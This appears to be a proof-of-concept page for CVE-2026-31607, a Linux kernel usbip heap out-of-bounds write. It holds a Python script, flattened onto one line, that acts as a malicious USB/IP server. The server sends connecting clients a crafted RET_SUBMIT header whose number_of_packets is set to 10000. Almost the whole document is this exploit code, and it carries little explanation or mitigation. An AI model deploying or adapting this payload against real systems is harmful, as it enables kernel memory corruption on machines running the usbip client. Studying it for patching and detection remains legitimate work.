CVE-2026-31607 Linux内核usbip堆越界写入漏洞

#!/usr/bin/env python3 # PoC simulation for CVE-2026-31607 # This script simulates a malicious USB/IP server sending a crafted RET_SUBMIT packet. import socket import struct # USB/IP headers constants OP_REP_SUBMIT = 0x0003 # Malicious configuration: Set number_of_packets higher than allocated MALICIOUS_NUM_PACKETS = 10000 def send_malicious_response(client_sock): # Construct a basic USB/IP RET_SUBMIT header (simplified) # struct usbip_header_basic { # uint32_t command; # uint32_t seqnum; # uint32_t devid; # uint32_t direction; # uint32_t ep; # } __packed; # struct usbip_header_ret_submit { # int32_t status; # int32_t actual_length; # int32_t start_frame; # int32_t number_of_packets; <-- The vulnerable field # int32_t error_count; # } __packed; cmd = struct.pack("<I", OP_REP_SUBMIT) seqnum = struct.pack("<I", 1) devid = struct.pack("<I", 1) direction = struct.pack("<I", 1) ep = struct.pack("<I", 1) status = struct.pack("<i", 0) actual_length = struct.pack("<i", 0) start_frame = struct.pack("<i", 0) # Inject the malicious value here number_of_packets = struct.pack("<i", MALICIOUS_NUM_PACKETS) error_count = struct.pack("<i", 0) header = cmd + seqnum + devid + direction + ep ret_submit = status + actual_length + start_frame + number_of_packets + error_count print(f"[*] Sending malicious RET_SUBMIT with number_of_packets={MALICIOUS_NUM_PACKETS}") client_sock.send(header + ret_submit) print("[!] This is a simulation of the network packet causing the vulnerability.") print("[!] Exploitation requires a Linux kernel usbip client to connect to this server.")